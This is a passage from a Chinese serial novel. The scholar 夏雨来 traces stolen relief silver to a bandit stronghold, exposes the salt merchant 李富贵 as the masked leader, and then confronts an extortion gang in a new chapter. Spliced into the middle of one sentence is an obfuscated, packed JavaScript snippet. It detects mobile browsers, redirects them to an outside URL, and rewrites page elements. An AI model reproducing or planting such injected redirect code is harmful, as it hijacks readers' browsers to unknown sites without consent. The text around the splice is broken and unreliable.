孙老实听得目瞪口呆,一拍大腿:“这分明是栽赃陷害!周文彬和赵虎那两个狗东西,肯定是想为陈老财报仇!” 夏雨来坐在院子里的石凳上,眉头紧锁:“我也怀疑是他们,可没有证据。孙老弟,你刚才打听的情况怎么样?” “我问了好多人,” 孙老实蹲在他身边,压低声音,“昨日赈灾银运抵县衙时,确实有不少人看到你在一旁,可大家都说你只是路过,并没有什么异常。对了,我还听说,昨日负责押送赈灾银的,除了赵虎,还有两个外地来的衙役,说是从府城调来帮忙的,今日一早就不见了踪影。” “外地衙役?” 夏雨来心中一动,“他们是什么模样?有没有人记得他们的名字?” 孙老实想了想:“听卖水果的刘三说,那两个衙役一个高一个矮,高的脸上有一道刀疤,矮的左眼是斜的,至于名字,没人知道,只听到赵虎叫他们‘刀疤’和‘斜眼’。” 夏雨来指尖敲击着石凳,陷入了沉思。这两个外地衙役来得蹊跷,走得也蹊跷,说不定就是偷走赈灾银的真凶。而赵虎和周文彬,就是他们的同谋,故意栽赃给自己。 “夏秀才,接下来咱们怎么办?” 孙老实急道,“三天时间,要找到真凶和五千两银子,简直比登天还难!” 夏雨来抬起头,眼神坚定:“难也要找!我们先从城西破庙入手,看看能不能找到一些线索。” 两人简单收拾了一下,就直奔城西破庙。破庙早已荒废多年,里面蛛网密布,灰尘厚得能没过脚面。夏雨来仔细查看了地面,果然看到了几个模糊的脚印,正如周文彬所说,和自己的鞋印有些相似,但仔细一看,就能发现脚印的深浅不一,显然不是自己留下的。 “你看这里,” 夏雨来指着一个脚印,“我的体重是一百二十斤左右,而这个脚印的深度,至少是一百五十斤的人留下的。而且,脚印的脚尖朝向庙外,说明此人是匆匆离开,而我昨日根本没来过这里,不可能留下这样的脚印。” 孙老实凑过去一看,恍然大悟:“原来是这样!那周文彬和赵虎,肯定是找了一个和你脚码差不多的人,故意留下脚印栽赃你!” 夏雨来点了点头:“很有可能。我们再找找,看看还有没有其他线索。” 两人在破庙里仔细搜寻,突然,孙老实叫了一声:“夏秀才,你看这个!” 夏雨来顺着他指的方向看去,只见墙角处有一枚掉落的铜钱,铜钱上刻着 “嘉靖通宝”,边缘还有一道细小的划痕。 “这铜钱有什么特别之处吗?” 孙老实问道。夏雨来捡起铜钱,仔细看了看:“这枚铜钱的划痕很新,应该是最近掉落的。而且,这种铜钱在潮州城并不多见,大多是府城那边流通的。” 他心中一动,那两个外地衙役是从府城来的,这枚铜钱,会不会是他们留下的? 就在这时,庙外传来一阵脚步声,紧接着是赵虎的声音:“夏秀才,王大人有令,让你即刻回县衙,不得在外面逗留!” 夏雨来心中暗骂,这赵虎真是阴魂不散,肯定是怕自己找到线索,故意来捣乱。 他将铜钱收好,对孙老实使了个眼色,然后走出破庙:“赵班头,学生正在寻找线索,为何要回县衙?” 赵虎冷笑一声:“王大人只是给你三天时间自证清白,可没让你到处闲逛!再说,谁知道你是不是在销毁证据?” “赵班头这话就不对了,” 夏雨来淡淡一笑,“学生光明磊落,身正不怕影子斜,何须销毁证据?倒是赵班头,一直跟着学生,是不是怕学生找到真凶,揭穿你的阴谋?” 赵虎脸色一变,厉声道:“夏雨来,你休要血口喷人!本官只是奉命行事!” 他身后的几个衙役也跟着起哄:“就是!夏秀才,你要是识相,就赶紧跟我们走,否则,休怪我们不客气!” 夏雨来心中明白,此刻和他们硬拼没有好处,只会打草惊蛇。他点了点头:“好,我跟你们走。但我有一个条件,我要亲自审问张院长,问问他为何要说谎,昨日我明明没去过孤儿院,他为何说我没去?” 赵虎犹豫了一下,心想张院长已经被自己买通,就算夏雨来审问,也问不出什么,于是答应道:“可以,但你只能在县衙审问,不许私下接触!” 回到县衙,张院长已经被带到了公堂。夏雨来看着眼前这位白发苍苍的老人,心中五味杂陈。张院长是潮州城有名的善人,一生都在为孤儿院的孩子们操劳,没想到这次竟然会被赵虎和周文彬利用。 “张院长,” 夏雨来尽量让自己的语气平和,“昨日学生确实想去孤儿院给孩子们送笔墨,可半路遇到了王二嫂,她说孤儿院的孩子们都去城外踏青了,所以学生才没去。可你为何对周师爷说,学生昨日没去过孤儿院?” 张院长眼神闪烁,不敢直视夏雨来的目光:“我…… 我只是实话实说,昨日确实没看到你。” 夏雨来心中一沉,看来张院长是铁了心要帮赵虎和周文彬。他知道,再问下去也不会有结果,只好作罢。 离开公堂,夏雨来对孙老实道:“孙老弟,你去孤儿院一趟,问问孩子们昨日是不是真的去踏青了,再打听一下,张院长最近是不是遇到了什么难处,或者被人威胁。” 孙老实点了点头:“好,我这就去!” 孙老实离开后,夏雨来独自一人在县衙的院子里徘徊。他知道,时间紧迫,必须尽快找到线索。他想起那枚从破庙捡到的铜钱,又想起那两个外地衙役,心中有了一个大胆的猜测:这两个外地衙役,很可能是府城那边派来的,而周文彬和赵虎,只是他们的棋子,真正的幕后黑手,或许在府城。 就在这时,一个熟悉的声音传来:“夏秀才,别来无恙啊?” 夏雨来抬头望去,只见一个穿着锦缎长衫的中年男子,正笑眯眯地看着自己,正是潮州城的盐商李富贵。李富贵以前和陈老财关系密切,上次陈老财倒台,他侥幸逃脱,没想到今日竟然主动找上门来。 “李老板,” 夏雨来心中警惕,“不知你找学生何事?” 李富贵走到他身边,压低声音:“夏秀才,我知道你现在处境艰难,被人栽赃偷了赈灾银。其实,我知道真凶是谁,也知道赈灾银的下落。” 夏雨来心中一动:“哦?李老板有何高见?不妨直说。” 李富贵微微一笑:“夏秀才,我可不是白说的。只要你答应我,事成之后,帮我在王大人面前美言几句,让我重新执掌潮州城的盐运生意,我就告诉你真凶是谁,以及赈灾银的下落。” 夏雨来心中冷笑,这李富贵果然是唯利是图,到了这个时候,还想着谋取利益。他知道,李富贵肯定和这件事脱不了干系,说不定也是幕后黑手之一。但眼下,他别无选择,只能先答应下来:“好,我答应你。只要你能提供确凿的证据,帮我洗清冤屈,我一定在王大人面前为你说话。” 李富贵满意地点了点头:“爽快!夏秀才,真凶就是那两个从府城来的衙役,刀疤和斜眼。他们根本不是府城派来的,而是一伙江洋大盗,专门劫富济贫。这次他们冒充衙役,混入潮州城,就是为了盗取赈灾银。而周文彬和赵虎,只是被他们用钱财收买,帮他们栽赃你。” “那赈灾银现在在哪里?” 夏雨来追问道。李富贵道:“赈灾银被他们藏在了城外的黑风寨。黑风寨地势险要,易守难攻,他们打算等风头过后,再将银子运走。” 夏雨来心中充满了疑虑,这李富贵的话,到底是真还是假?黑风寨确实是潮州城外有名的土匪窝,可刀疤和斜眼若是江洋大盗,为何要冒充衙役盗取赈灾银?而且,他们为何要栽赃自己?这其中,肯定还有隐情。 “李老板,你怎么知道得这么清楚?” 夏雨来问道。李富贵眼神闪烁:“我…… 我只是偶然听到的。夏秀才,你要是不信,可以自己去黑风寨看看。不过,黑风寨的土匪个个凶残,你可得小心点。” 夏雨来看着李富贵那副心虚的模样,心中更加确定,这其中一定有问题。他点了点头:“多谢李老板告知,学生会慎重考虑的。” 李富贵笑了笑:“夏秀才,我等你的好消息。记住,三日之内,若是你找不到证据,可就真的要被砍头了!” 说完,他转身离去。 夏雨来站在原地,陷入了沉思。李富贵的话,半真半假,不能全信。但黑风寨,确实是一个值得调查的地方。他决定,今晚就和孙老实一起,潜入黑风寨,一探究竟。 三、夜探黑风寨,险象环生 夜幕降临,潮州城笼罩在一片黑暗之中。夏雨来和孙老实换上夜行衣,背着行囊,悄悄离开了小院。两人一路疾驰,直奔城外的黑风寨。 黑风寨位于潮州城以西五十里的黑风山上,山势陡峭,树木茂密,只有一条狭窄的小路通往山寨。夏雨来和孙老实小心翼翼地沿着小路往上爬,尽量避开沿途的暗哨。 “夏秀才,你说这黑风寨真的有赈灾银吗?” 孙老实压低声音,一脸紧张。夏雨来摇了摇头:“不好说。李富贵的话不能全信,咱们只能边走边看。记住,待会儿到了山寨,一定要小心行事,千万不能暴露身份。” 孙老实点了点头,紧紧跟在夏雨来身后。两人爬了大约一个时辰,终于来到了黑风寨的寨门口。寨门口灯火通明,几个土匪手持刀枪,警惕地守着大门。 “怎么办?寨门口守卫这么严,咱们根本进不去。” 孙老实小声说道。夏雨来观察了一下四周,发现寨墙不高,而且旁边有一棵大树,正好可以借助大树爬上寨墙。 “跟我来。” 夏雨来拉着孙老实,悄悄绕到大树后面。他深吸一口气,纵身一跃,抓住了树枝,然后手脚并用,很快就爬上了树顶。孙老实也跟着爬了上来,吓得浑身发抖:“夏秀才,我…… 我有点害怕。” “别怕,有我在。” 夏雨来拍了拍他的肩膀,然后纵身一跃,从树顶跳到了寨墙上。孙老实闭着眼睛,也跟着跳了下去,幸好夏雨来及时扶住了他,才没有摔倒。 两人悄悄溜下寨墙,躲在暗处观察。山寨里一片寂静,只有几间屋子亮着灯。夏雨来仔细听了听,发现其中一间屋子传来了说话声。他对孙老实做了个噤声的手势,然后悄悄靠近屋子,透过窗户缝隙往里看。 只见屋子里面,刀疤和斜眼正坐在桌前喝酒,旁边还坐着几个土匪。刀疤脸上的刀疤在灯光下显得格外狰狞:“大哥,那五千两赈灾银已经藏好了,等过了这三天,风头过去了,咱们就把银子运走,到时候,咱们就能逍遥快活了!” 斜眼喝了一口酒,笑道:“还是大哥英明!那夏雨来现在肯定焦头烂额,三天之内,他绝对找不到证据,到时候,他就会被砍头,而咱们,就能拿着银子远走高飞!” “还有周文彬和赵虎那两个蠢货,” 刀疤不屑地说道,“给了他们一点银子,就帮咱们做这做那,等咱们走了,就让他们替咱们背黑锅!” 夏雨来心中一喜,没想到真的在这里找到了刀疤和斜眼,而且还听到了他们的谈话。看来,李富贵的话并非全是假的,赈灾银确实藏在黑风寨。 就在这时,孙老实不小心碰掉了身边的一块石头,石头滚落在地,发出了清脆的响声。刀疤和斜眼立刻警觉起来:“谁在外面?” 夏雨来心中暗叫不好,拉着孙老实就往寨外跑。刀疤和斜眼带着几个土匪追了出来:“抓住他们!别让他们跑了!” 两人在前面拼命地跑,土匪们在后面紧追不舍。黑风山的山路崎岖不平,孙老实跑得气喘吁吁,好几次都差点摔倒。“夏秀才,我…… 我跑不动了!” 孙老实一边跑一边喊。 夏雨来回头看了一眼,土匪们越来越近,他心中焦急,突然看到前面有一条小溪,心中有了主意:“孙老弟,快,跳进小溪里!” 两人纵身一跃,跳进了小溪。小溪的水不深,但水流湍急,两人顺着水流往下漂,很快就甩掉了土匪。 上岸后,两人浑身湿透,冻得瑟瑟发抖。孙老实咳嗽了几声:“夏秀才,咱们现在怎么办?虽然听到了刀疤和斜眼的谈话,可没有确凿的证据,还是不能证明你的清白啊!” 夏雨来擦了擦脸上的水珠,眼神坚定:“我们必须找到赈灾银的具体位置,拿到确凿的证据。明天,我们再想办法潜入黑风寨,一定要找到赈灾银!” 两人找了一个山洞,生起了火,烘干了衣服,然后轮流守夜。这一夜,夏雨来辗转反侧,难以入眠。他知道,明天的行动将会更加危险,稍有不慎,就会葬身黑风寨。但他别无选择,为了自证清白,为了潮州城的百姓,他必须冒险。 第二天一早,两人离开了山洞,再次前往黑风寨。这次,他们没有从正门进入,而是绕到了山寨的后山。后山的地势更加陡峭,但守卫也相对松懈。夏雨来和孙老实小心翼翼地爬上后山,躲在一块巨石后面,观察着山寨的情况。 只见山寨里的土匪们正在忙碌着,有的在磨刀,有的在擦拭弓箭,还有的在搬运东西。夏雨来仔细观察,发现土匪们搬运的东西,都是一些木箱,看起来沉甸甸的,很可能就是赈灾银。 “夏秀才,你看那边!” 孙老实指着一个方向。夏雨来顺着他指的方向看去,只见刀疤和斜眼正站在一个大帐篷前,和一个穿着黑衣的蒙面人说话。蒙面人的声音沙哑,听不出男女:“事情办得怎么样?夏雨来有没有被定罪?” 刀疤躬身道:“回首领,夏雨来还在寻找证据,不过,王大人已经对他产生了怀疑,三天之后,若是他找不到证据,就会被砍头。” 蒙面人点了点头:“很好。记住,一定要盯紧夏雨来,不能让他找到赈灾银。等他被砍头之后,咱们再将银子运走。” 夏雨来心中一惊,原来刀疤和斜眼还有首领!这个蒙面人,很可能就是真正的幕后黑手。他决定,先不要打草惊蛇,等找到赈灾银的具体位置,再想办法将他们一网打尽。 两人悄悄溜下后山,回到了潮州城。刚一进城,就看到孙老实的邻居王大娘急匆匆地跑来:“孙老弟,不好了!你娘突然病倒了,现在躺在床上,昏迷不醒!” 孙老实一听,顿时急得眼泪都快掉下来了:“我娘怎么会突然病倒?” 王大娘道:“我也不知道,今天早上我去叫你娘吃饭,发现她躺在床上,怎么叫都叫不醒,我就赶紧来告诉你了!” 孙老实心中焦急,对夏雨来道:“夏秀才,我先回家看看我娘,你自己小心点!” 说完,他急匆匆地跑回了家。 夏雨来心中也很担心孙老实的母亲,但他知道,现在不是分心的时候。他决定,先去县衙,将自己昨晚在黑风寨听到的情况告诉王大人,请求王大人派兵围剿黑风寨。 来到县衙,夏雨来直接找到了王大人,将黑风寨的情况一五一十地说了一遍。王大人听后,脸色大变:“什么?赈灾银竟然藏在黑风寨?还有蒙面首领?” 夏雨来道:“是的,王大人。学生昨晚潜入黑风寨,亲眼看到刀疤和斜眼,还听到了他们和蒙面首领的谈话。请大人即刻派兵围剿黑风寨,夺回赈灾银,抓获真凶!” 周文彬立刻上前阻止:“王大人,不可!夏雨来的话不可信,他很可能是想趁机逃跑,故意编造谎言欺骗大人!” 赵虎也跟着附和:“是啊,王大人,黑风寨的土匪个个凶残,咱们若是贸然派兵围剿,恐怕会损失惨重!” 夏雨来怒视着两人:“周师爷,赵班头,你们分明是怕我找到证据,揭穿你们的阴谋!黑风寨的土匪确实藏着赈灾银,你们若是再阻拦,就是通匪!” 王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446932|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人犹豫了一下,他知道夏雨来向来稳重,不会轻易说谎,但围剿黑风寨确实风险很大。 就在这时,孙老实急匆匆地跑来:“夏秀才,王大人,我娘醒了!她说是被人下了毒!” 夏雨来和王大人同时一惊:“下毒?” 孙老实道:“是啊,我娘说,今天早上她喝了一碗粥,喝完之后就觉得头晕眼花,然后就昏迷不醒了。幸好郎中来得及时,给她灌了催吐药,才保住了性命。” 夏雨来心中了然,这肯定是周文彬和赵虎干的!他们怕孙老实帮自己寻找证据,就故意下毒陷害孙老实的母亲,想让孙老实分心。他怒视着周文彬和赵虎:“是不是你们干的?你们为了栽赃我,竟然做出如此丧尽天良之事!” 周文彬和赵虎脸色一变,齐声否认:“不是我们!夏雨来,你休要血口喷人!” 王大人看着两人心虚的模样,心中已经有了判断。他猛地一拍惊堂木:“够了!周文彬,赵虎,你们两人形迹可疑,本官现在怀疑你们与赈灾银失窃案有关!来人,将他们两人拿下,关进大牢!” 衙役们领命,立刻上前将周文彬和赵虎五花大绑。两人拼命挣扎:“王大人,冤枉啊!我们是被夏雨来陷害的!” 王大人冷哼一声:“是不是被陷害,等查清真相自然知晓!夏雨来,本官现在命你为先锋,带领五百官兵,围剿黑风寨,夺回赈灾银,抓获真凶!” “是!” 夏雨来领命,心中终于松了一口气。他知道,这是自己证明清白的最好机会。 四、围剿黑风寨,真相大白 夏雨来带领五百官兵,直奔黑风寨。一路上,他仔细部署,将官兵分成三路,一路从正面进攻,吸引土匪的注意力;一路从侧面迂回,切断土匪的退路;还有一路,跟着自己从后山潜入,寻找赈灾银的具体位置。 中午时分,官兵们到达了黑风寨。夏雨来一声令下,正面进攻的官兵立刻发起了冲锋。土匪们猝不及防,被打得节节败退。刀疤和斜眼见状,亲自率领土匪们反击。双方在寨门口展开了激烈的厮杀,喊杀声震天动地。 夏雨来则带着一路官兵,从后山潜入了黑风寨。他按照昨晚观察到的情况,直奔存放赈灾银的帐篷。帐篷外有几个土匪守卫,夏雨来手起刀落,很快就解决了他们。 走进帐篷,只见里面堆满了木箱,打开一看,里面果然是一锭锭沉甸甸的官银,正是失窃的赈灾银!夏雨来心中大喜,立刻让人将官银搬出去,运往县衙。 就在这时,蒙面首领突然出现在帐篷门口,手持一把长剑,眼神冰冷:“夏雨来,你果然有两下子,竟然能找到这里!” 夏雨来冷笑一声:“蒙面人,你的阴谋已经败露,还不束手就擒!” 蒙面人哈哈大笑:“束手就擒?夏雨来,你太天真了!就算你找到了赈灾银,也未必能活着离开这里!” 说完,他挥舞着长剑,向夏雨来刺来。夏雨来早有防备,拔出腰间的佩剑,迎了上去。 两人你来我往,打得难解难分。蒙面人的剑法刁钻狠辣,招招致命,夏雨来渐渐有些吃力。他心中暗道,这蒙面人的武功高强,绝不是普通的土匪首领。 就在这时,孙老实突然冲了进来,手持一根木棍,对着蒙面人后脑勺就是一棍。蒙面人猝不及防,被打得头晕眼花。夏雨来趁机一剑刺中了他的肩膀,蒙面人惨叫一声,倒在地上。 夏雨来上前,扯掉了蒙面人的面纱,露出了一张熟悉的脸。“竟然是你!” 夏雨来和孙老实同时惊呼。蒙面人不是别人,正是潮州城的盐商李富贵! “李富贵,没想到你竟然是黑风寨的首领!” 夏雨来怒声道。李富贵挣扎着站起来,嘴角流着血:“夏雨来,若不是你,我也不会落到今天这个地步!陈老财倒台后,我就失去了靠山,生意一落千丈。我本想盗取赈灾银,远走高飞,没想到被你坏了好事!” “你和陈老财是什么关系?” 夏雨来追问道。李富贵冷笑一声:“我和陈老财是八拜之交!上次他谋反失败,我就发誓要为他报仇!这次盗取赈灾银,栽赃陷害你,就是为了让你身败名裂,死无葬身之地!” 夏雨来心中了然,原来这一切都是李富贵策划的。他勾结周文彬和赵虎,雇佣刀疤和斜眼冒充衙役,盗取赈灾银,然后栽赃给自己,目的就是为了给陈老财报仇,同时夺取赈灾银。 就在这时,外面传来了一阵呐喊声,正面进攻的官兵已经攻破了寨门,杀了进来。土匪们见大势已去,纷纷放下武器,投降求饶。刀疤和斜眼也被官兵们抓获,押了过来。 夏雨来让人将李富贵、刀疤、斜眼等人五花大绑,然后带着赈灾银,率领官兵们返回了潮州城。 回到潮州城,百姓们早已在城外等候,看到官兵们夺回了赈灾银,抓获了真凶,纷纷拍手称快。“夏秀才真是好样的!又帮咱们潮州城化解了一场危机!”“李富贵那个奸商,终于受到了应有的惩罚!”“公道自在人心,夏秀才果然是清白的!” 王大人亲自在县衙门口迎接夏雨来,脸上露出了欣慰的笑容:“夏秀才,你立了大功!不仅夺回了赈灾银,还抓获了真凶,洗清了自己的冤屈。本官一定会向朝廷上奏,为你请功!” 夏雨来拱手道:“王大人过奖了。这都是学生应该做的,只要潮州城的百姓能够安居乐业,学生就心满意足了。” 公堂之上,王大人亲自审问李富贵、周文彬、赵虎、刀疤、斜眼等人。在确凿的证据面前,他们不得不承认了自己的罪行。李富贵因策划盗取赈灾银、栽赃陷害、杀人未遂等多项罪名,被判处斩首示众;周文彬和赵虎因通匪、作伪证等罪名,被判处流放三千里;刀疤和斜眼因盗窃、杀人等罪名,也被判处斩首;其他参与盗窃的土匪,根据罪行轻重,分别受到了相应的惩罚。 案件尘埃落定,潮州城再次恢复了往日的安宁。孙老实的母亲经过精心调理,身体也渐渐康复。东门街的早市又恢复了往日的喧嚣,王二嫂的河虾摊前依旧排着长队,张五郎的豆腐梆子敲得震天响。 夏雨来和孙老实的笔墨摊生意也越来越好,不仅潮州城的百姓前来购买,就连周边府县的学子,也慕名而来。百姓们为了感谢夏雨来,还特意在东门街为他立了一座生祠,每逢初一十五,都有人前来祭拜。 这一天,夏雨来和孙老实坐在笔墨摊前,看着眼前热闹的景象,心中充满了感慨。孙老实道:“夏秀才,没想到咱们竟然能走到今天。以前我总觉得,只要能安安稳稳地过日子就好,可跟着你经历了这么多事,我才明白,做人就要像你一样,正直善良,不畏强权,为百姓做事。” 夏雨来笑了笑:“孙老弟,其实我也只是做了自己该做的事。公道自在人心,只要我们坚守正义,就一定能战胜邪恶。以后,我们还要继续努力,守护潮州城的安宁,让百姓们能够安居乐业。” 孙老实点了点头:“好!夏秀才,我以后就跟着你,你指哪我打哪,绝不退缩!” 夕阳西下,晚霞染红了天空。夏雨来和孙老实站在街头,看着百姓们脸上洋溢的笑容,心中充满了欣慰。他们知道,这场与邪恶的较量,虽然暂时取得了胜利,但未来,还会有更多的挑战等着他们。但他们相信,只要心中有正义,手中有智慧,就一定能战胜一切困难,守护好这片土地上的百姓。 五、市井闲谈,余韵悠长 潮州城的日子,就像东门街的河水,平静而又悠长。自从李富贵伏法后,再也没有人敢兴风作浪,百姓们安居乐业,邻里和睦相处。 每日清晨,东门街的早市依旧是最热闹的地方。王二嫂的河虾摊前,总是围满了人。这天,她一边称虾,一边和旁边的张五郎闲聊:“张五郎,你说这夏秀才,可真是咱们潮州城的福气啊!上次陈老财谋反,是他识破了阴谋;这次赈灾银失窃,又是他找出了真凶,夺回了银子。要是没有他,咱们还不知道要遭多少罪呢!” 张五郎手里的铜勺敲得梆子响,附和道:“可不是嘛!夏秀才不仅有勇有谋,还心地善良。上次我儿子得了急病,没钱医治,还是夏秀才给了我五两银子,才救了我儿子的命。这样的好人,真是打着灯笼都难找!” 卖茶叶蛋的李阿婆凑过来,叹了口气:“说起来,那李富贵也真是活该!好好的盐商不当,非要勾结土匪,盗取赈灾银,还栽赃陷害夏秀才。现在落得个斩首示众的下场,真是罪有应得!” 旁边卖水果的刘三接口道:“还有周文彬和赵虎,以前在潮州城作威作福,没想到也是一伙奸贼。要不是夏秀才聪明,恐怕早就被他们害死了!” 百姓们你一言我一语,谈论着夏雨来的功绩,言语中充满了敬佩和感激。夏雨来坐在笔墨摊前,听着百姓们的议论,心中暖暖的。他知道,自己的付出没有白费,百姓们的认可,就是对他最大的奖励。 这时,一个穿着破旧长衫的书生走了过来,对着夏雨来拱手行礼:“夏先生,学生是来自梅州的学子,久闻先生大名,特意前来拜访。学生一直想拜先生为师,学习先生的智慧和品德,不知先生能否收留?” 夏雨来看着眼前的书生,眼中闪烁着真诚的光芒,心中一动。他想起自己年轻时,也曾四处求学,却因家境贫寒而屡屡受挫。他点了点头:“好!只要你真心向学,正直善良,愿意为百姓做事,我就收你为徒!” 书生大喜过望,连忙跪倒在地:“学生谢过先生!学生一定谨遵先生教诲,好好学习,将来为百姓谋福祉!” 周围的百姓们见状,纷纷鼓掌叫好:“夏秀才收徒了!真是大好事啊!”“以后,潮州城又多了一个为民做主的好官!” 夏雨来扶起书生,脸上露出了欣慰的笑容。他知道,自己的责任,不仅仅是守护潮州城的安宁,还要将正义和善良传递下去,让更多的人能够站出来,为百姓做事。 日子一天天过去,夏雨来的徒弟越来越多,他们不仅跟着夏雨来学习知识,还跟着他一起帮助百姓解决困难。潮州城的风气越来越好,再也没有了以前的尔虞我诈,取而代之的是互帮互助,团结友爱。 这一天,夏雨来和孙老实、还有几个徒弟,一起去城西的孤儿院看望孩子们。孤儿院的孩子们看到他们,纷纷跑了过来,围着他们又蹦又跳。张院长看着眼前的景象,脸上露出了欣慰的笑容:“夏秀才,真是多亏了你。现在孤儿院的条件越来越好,孩子们也越来越开心。这都是你的功劳啊!” 夏雨来摇了摇头:“张院长,这不是我一个人的功劳。是百姓们的支持,是官府的帮助,还有你和老师们的辛勤付出,才有了孩子们今天的幸福生活。以后,我们还要继续努力,让更多的孤儿能够感受到家的温暖。” 孩子们拉着夏雨来的手,叽叽喳喳地说着自己的愿望。有的说想当郎中,治病救人;有的说想当衙役,维护治安;还有的说想当像夏雨来一样的人,为百姓做事。夏雨来听着孩子们的愿望,心中充满了希望。他知道,这些孩子,就是潮州城的未来。 离开孤儿院,夏雨来和孙老实、徒弟们一起走在回家的路上。夕阳西下,将他们的身影拉得很长。孙老实道:“夏秀才,你看这些孩子,多有朝气啊!以后,他们一定能成为有用之才,为潮州城做出贡献。” 夏雨来笑了笑:“是啊!只要我们用心培养,他们一定不会让我们失望。孙老弟,咱们的路还很长,以后,还有很多事情要做。但我相信,只要我们坚持不懈,就一定能让潮州城变得更加美好。” 孙老实点了点头:“好!夏秀才,我会一直跟着你,和你一起,为百姓做事,为潮州城的未来努力!” 潮州城的夜色,温柔而又宁静。东门街的灯火渐渐亮起,映照着百姓们幸福的脸庞。夏雨来知道,这场与邪恶的较量,虽然已经结束,但正义与善良的传承,才刚刚开始。他会用自己的一生,守护这片土地,守护这里的百姓,让公道长存,让正义永不缺席。而他的故事,也会像潮州城的江水一样,代代相传,成为一段不朽的佳话。 38. 护商安民 一、东门街生乱,恶客逞凶 潮州城的秋老虎来得凶,日头悬在中天像块烧红的烙铁,东门街的青石板路被晒得发烫,踩上去能烫得人踮着脚跳。可就算是这样,早市的热闹也没减几分 —— 王二嫂的河虾摊前依旧排着长队,她赤着胳膊,额头上的汗珠顺着脸颊往下淌,却顾不上擦,手起勺落间吆喝得更响:“新鲜河虾哟!刚从韩江捞上来的,活蹦乱跳!一两银子三斤,再送一把紫苏,炖出来鲜掉魂!” 旁边张五郎的豆腐梆子敲得震天,铜勺在木桶沿上打出欢快的节拍:“嫩豆腐嘞!能插筷子能当镜,煎炒烹炸样样行,一文钱两块,不嫩不要钱!” 卖茶叶蛋的李阿婆守着小火炉,蛋壳被烤得焦香,她用蒲扇扇着风,嘴里念叨着:“茶叶蛋,香喷喷,老人小孩都爱吃,两文钱一个,热乎着呢!” 夏雨来正帮孙老实把刚到的徽墨摆上柜台,他穿了件透气的细布短衫,袖口挽得高高的,露出晒成小麦色的胳膊。孙老实一边用鸡毛掸子拂去砚台上的灰尘,一边喜滋滋地念叨:“夏秀才,你看咱这生意,自打你上次破了赈灾银的案子,百姓们都认咱的笔墨,这不,昨天梅州的学子还托人来订了二十方徽墨呢!” 夏雨来指尖捻起一方墨块,对着晨光看了看墨色,嘴角弯起:“孙老弟,这都是街坊们抬爱。做生意讲究个诚信,咱的笔墨用料实在,自然有人上门。” 他话音刚落,就见街角处来了一群人,约莫七八个,个个穿着短打,腰里别着短刀,走路摇摇晃晃,眼神凶神恶煞,为首的是个满脸横肉的壮汉,左脸上有道蜈蚣似的刀疤,看着就吓人。 “让让!都给老子让让!” 刀疤脸一嗓子吼出来,震得人耳朵嗡嗡响。早市上的百姓们吓得纷纷避让,原本喧闹的街道瞬间安静了大半。王二嫂正给客人称虾,手一抖,河虾掉了好几个,她连忙捡起,脸上堆着笑:“这位爷,您想买虾?刚捞的,新鲜得很!” 刀疤脸瞥了眼她的虾摊,突然一脚踹在木架子上,“哗啦” 一声,河虾摊被踹翻,鲜活的河虾满地乱跳,溅了王二嫂一身泥水。“新鲜?老子看是臭的!” 刀疤脸恶狠狠地说,“在潮州城做生意,都得给老子交‘地盘费’,你这虾摊,一天交五两银子,少一文都不行!” 王二嫂吓得脸色惨白,眼泪都快掉下来了:“爷,您这是啥道理?小本生意,一天赚不了几文钱,哪拿得出五两银子啊?” 旁边张五郎看不下去了,握着豆腐梆子走过来:“这位爷,买卖公平,你凭啥强要地盘费?潮州城有王法在!” “王法?” 刀疤脸哈哈大笑,伸手一把夺过张五郎的铜勺,“啪” 地扔在地上踩得变形,“在潮州城,老子就是王法!” 他身后的一个瘦猴似的跟班立刻附和:“就是!我们疤哥可是广州府来的,跟知府大人都有交情,你们这些小商户,识相的赶紧交钱,不然,这摊子就别想开了!” 孙老实吓得往夏雨来身后缩了缩,小声道:“夏秀才,这伙人看着不好惹,咱还是别管了,免得惹祸上身。” 夏雨来眉头微蹙,心中泛起怒意 —— 这伙人明摆着是仗势欺人,若是纵容他们,潮州城的商户们日后可就没好日子过了。但他也知道,现在硬拼不是办法,对方人多势众,还带着武器,只能先看看情况。 这时,卖水果的刘三推着水果车过来,车上装满了刚摘的荔枝,红彤彤的看着喜人。刀疤脸一眼瞥见,上前一把抓住车把:“这荔枝不错,给老子尝尝!” 他拿起一串荔枝,剥了皮就往嘴里塞,嚼了两口,突然 “呸” 地吐在地上:“什么破荔枝,酸得掉牙!” 说着,抬脚就把水果车踹翻,荔枝滚了一地,有的还被踩得稀烂。 刘三急得直跺脚:“我的荔枝!这是我凌晨三点就去果园摘的,卖了钱要给我娘治病的!” 他扑上去想捡,却被瘦猴一脚踹倒在地:“还敢跟疤哥叫板?给我打!” 几个跟班立刻围上去,对着刘三拳打脚踢。 “住手!” 夏雨来再也忍不住了,迈步上前喝止。刀疤脸转头看向他,上下打量了一番:“哟,还有人敢管老子的闲事?你是谁?” 夏雨来淡淡道:“潮州城一介书生夏雨来。你们光天化日之下欺压商户,强收地盘费,就不怕王大人追究?” “夏雨来?” 刀疤脸愣了一下,随即冷笑,“就是那个破了赈灾银案子的秀才?老子听说过你,不过,在老子面前,你那点小聪明没用!” 他上前一步,逼近夏雨来,一股酒气扑面而来,“识相的赶紧滚,不然,连你这笔墨摊一起砸了!” 夏雨来心中暗道,这伙人显然是有备而来,而且背后可能真有靠山,硬拼肯定不行。他压下心中的怒火,脸上露出一丝笑意:“疤哥远道而来,想必是饿了,不如到前面的悦来客栈喝杯酒,有话好好说。地盘费的事,也不是不能商量。” 刀疤脸没想到夏雨来这么 “识相”,心中得意,拍了拍他的肩膀:“算你聪明!既然你这么上道,老子就给你个面子。走,去悦来客栈,今天这顿,你请客!” 孙老实急了,拉了拉夏雨来的衣角:“夏秀才,你真要请他们喝酒?这伙人就是无底洞!” 夏雨来对他使了个眼色,低声道:“放心,我自有分寸。” 来到悦来客栈,刀疤脸带着跟班们大摇大摆地坐下,掌柜的吓得赶紧上前招呼:“客官,要点什么?” 刀疤脸把桌子一拍:“好酒好菜尽管上,拣贵的来!” 